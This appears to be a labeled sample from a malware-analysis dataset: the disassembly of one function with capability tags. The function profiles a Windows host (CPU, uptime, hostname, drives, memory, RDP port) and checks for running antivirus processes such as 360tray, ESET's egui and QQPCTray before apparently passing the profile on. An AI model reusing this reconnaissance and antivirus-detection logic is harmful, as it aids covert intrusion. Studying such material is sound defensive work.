Function at 0x406b50
Capabilities:
Get disk information
Get disk size
Get hostname
Get memory capacity

Disassembly:
sub esp, 0xcdc
push ebx
push ebp
push esi
push edi
mov dword [esp + 0x30], ecx
mov byte [esp + 0x15c], 0x8b
call fcn.00406a70
mov ebp, dword [0x43125c]
push eax
lea eax, [esp + 0x161]
push eax
call ebp
add esp, 8
lea ecx, [esp + 0x10]
xor ebx, ebx
push ecx
push 1
push ebx
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push SysStringLen
call dword [0x43111c]
mov ecx, dword [esp + 0x10]
lea edx, [esp + 0x34]
lea eax, [esp + 0x58]
push edx
push eax
push ebx
push ebx
push str.MHz
push ecx
mov dword [esp + 0x4c], 4
call dword [0x4310e8]
mov edx, dword [esp + 0x10]
push edx
call dword [0x431124]
mov ecx, 0xc
mov esi, 0x42bd78
lea edi, [esp + 0x688]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x35
lea edi, [esp + 0x6b8]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x10]
lea ecx, [esp + 0x688]
push eax
push 0xf003f
push ebx
push ecx
push SysStringLen
mov dword [esp + 0x24], ebx
call dword [0x43111c]
test eax, eax
jne 0x406c61
lea edx, [esp + 0x14]
lea eax, [esp + 0xdc]
push edx
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x1c]
push eax
push ecx
push ebx
push str.ProcessorNameString
push edx
mov dword [esp + 0x2c], 0x80
call dword [0x4310e8]
mov eax, dword [esp + 0x10]
push eax
call dword [0x431124]
lea ecx, [esp + 0xdc]
lea edx, [esp + 0x19d]
push ecx
push 0x42bd60
push edx
call ebp
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, eax
mov eax, 0x31b5d43b
mul esi
mov ecx, edx
mov eax, esi
xor edx, edx
mov esi, 0x5265c00
div esi
mov edi, 0x36ee80
shr ecx, 0x18
mov esi, edx
xor edx, edx
mov eax, esi
div edi
mov eax, 0x45e7b273
mul edx
shr edx, 0xe
mov eax, 0x95217cb1
push edx
mul esi
shr edx, 0x15
push edx
push ecx
lea eax, [esp + 0x1e9]
push 0x42bd4c
push eax
call ebp
add esp, 0x14
lea ecx, [esp + 0x1c]
lea edx, [esp + 0xdc]
mov dword [esp + 0x1c], 0x80
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea eax, [esp + 0x1c]
lea ecx, [esp + 0xdc]
push eax
push ecx
call dword [0x4310d8]
lea edx, [esp + 0xdc]
lea eax, [esp + 0x23d]
push edx
push 0x42bd60
push eax
call ebp
add esp, 0xc
lea ecx, [esp + 0x588]
push ecx
push 0x100
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
mov al, byte [esp + 0x588]
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x18], ebx
mov dword [esp + 0x14], ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
test al, al
lea esi, [esp + 0x588]
je 0x406e03
lea edx, [esp + 0x484]
xor eax, eax
push 0x104
push edx
push eax
push eax
push eax
mov ecx, 0x41
lea edi, [esp + 0x498]
push eax
push eax
push esi
rep stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push 0x410
lea eax, [esp + 0x790]
push 0x160
push eax
push 0x80
push esi
call dword [0x431194]
lea ecx, [esp + 0x89c]
push ecx
call ebx
lea edx, [esp + 0x484]
push edx
call ebx
mov al, byte [esi]
cmp al, 0x41
je 0x406df3
cmp al, 0x42
je 0x406df3
lea eax, [esp + 0x28]
push 0
lea ecx, [esp + 0x24]
push eax
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
test eax, eax
je 0x406df3
mov eax, dword [esp + 0x28]
mov edx, dword [esp + 0x2c]
mov ecx, 0x1e
call fcn.0041b910
mov edx, dword [esp + 0x18]
mov ecx, 0x1e
add edx, eax
mov eax, dword [esp + 0x20]
mov dword [esp + 0x18], edx
mov edx, dword [esp + 0x24]
call fcn.0041b910
add dword [esp + 0x14], eax
push esi
call ebx
lea esi, [esi + eax + 1]
cmp byte [esi], 0
jne 0x406d45
mov edx, dword [esp + 0x18]
lea eax, [esp + 0x25d]
push edx
push 0x42bd40
push eax
call ebp
mov ecx, dword [esp + 0x20]
lea edx, [esp + 0x2a9]
push ecx
push 0x42bd34
push edx
call ebp
lea edi, [esp + 0x2b5]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x18
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x25d]
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x9c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov dword [esp + 0xa0], 0x40
call esi
mov eax, dword [esp + 0xa4]
mov edx, dword [esp + 0xa8]
mov ecx, 0x14
call fcn.0041b910
push edx
push eax
lea ecx, [esp + 0x2e5]
push 0x42bd28
push ecx
call ebp
add esp, 0x10
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x5c]
lea edx, [esp + 0x5c]
rep stosd dword es:[edi], eax
push edx
mov dword [esp + 0x60], 0x40
call esi
mov eax, dword [esp + 0x6c]
mov edx, dword [esp + 0x70]
mov ecx, 0x14
call fcn.0041b910
add eax, 1
adc edx, 0
push edx
push eax
lea eax, [esp + 0x325]
push 0x42bd1c
push eax
call ebp
lea edi, [esp + 0x32d]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x2ed]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
push str.SYSTEMCurrentControlSetControlTerminal_ServerWds_rdpwdTds_tcp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x100
lea edi, [esp + 0x900]
rep stosd dword es:[edi], eax
mov ecx, 0x41
lea edi, [esp + 0x394]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x900]
push eax
call ebp
add esp, 0x18
lea ecx, [esp + 0x380]
push 0
push ecx
call ebx
push eax
lea edx, [esp + 0x388]
push 0
push edx
push 4
lea eax, [esp + 0x900]
push str.PortNumber
push eax
push SysStringLen
call fcn.0040ae90
lea ecx, [esp + 0x3a0]
lea edx, [esp + 0x37d]
push ecx
push edx
call ebp
mov ecx, 8
xor eax, eax
lea edi, [esp + 0x60]
push str.360tray.exe
rep stosd dword es:[edi], eax
call fcn.004134b0
add esp, 0x2c
test eax, eax
jne 0x4070a0
push str.exe.ds063
call fcn.00424b48
push eax
call fcn.004134b0
add esp, 8
test eax, eax
jne 0x4070a0
push str.exe.pva
call fcn.00424b48
push eax
call fcn.004134b0
add esp, 8
test eax, eax
je 0x406ff3
lea eax, [esp + 0x38]
push 0x42bca4
push eax
jmp 0x4070aa
push str.KvMonXP.exe
call fcn.004134b0
add esp, 4
test eax, eax
je 0x40700e
push 0x42bc90
jmp 0x4070a5
push str.exe.DnoMvaR
call fcn.00424b48
push eax
call fcn.004134b0
add esp, 8
test eax, eax
je 0x407031
lea edx, [esp + 0x38]
push 0x42bc7c
push edx
jmp 0x4070aa
push str.egui.exe
call fcn.004134b0
add esp, 4
test eax, eax
je 0x40704e
lea eax, [esp + 0x38]
push str.ESET
push eax
jmp 0x4070aa
push str.kxetray.exe
call fcn.004134b0
add esp, 4
test eax, eax
jne 0x407094
push str.KSafeTray.exe
call fcn.004134b0
add esp, 4
test eax, eax
jne 0x407094
push str.QQPCTray.exe
call fcn.004134b0
add esp, 4
test eax, eax
je 0x407088
push 0x42bc34
jmp 0x4070a5
lea edx, [esp + 0x38]
push 0x42bc2c
push edx
jmp 0x4070aa
lea eax, [esp + 0x38]
push 0x42bc20
push eax
jmp 0x4070aa
push 0x42bc14
lea ecx, [esp + 0x3c]
push ecx
call ebp
add esp, 8
lea edx, [esp + 0x38]
lea eax, [esp + 0x1fd]
push edx
push eax
call ebp
add esp, 8
lea ecx, [esp + 0x15c]
push 0x222
push ecx
mov ecx, dword [esp + 0x38]
call fcn.0040adc0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xcdc
ret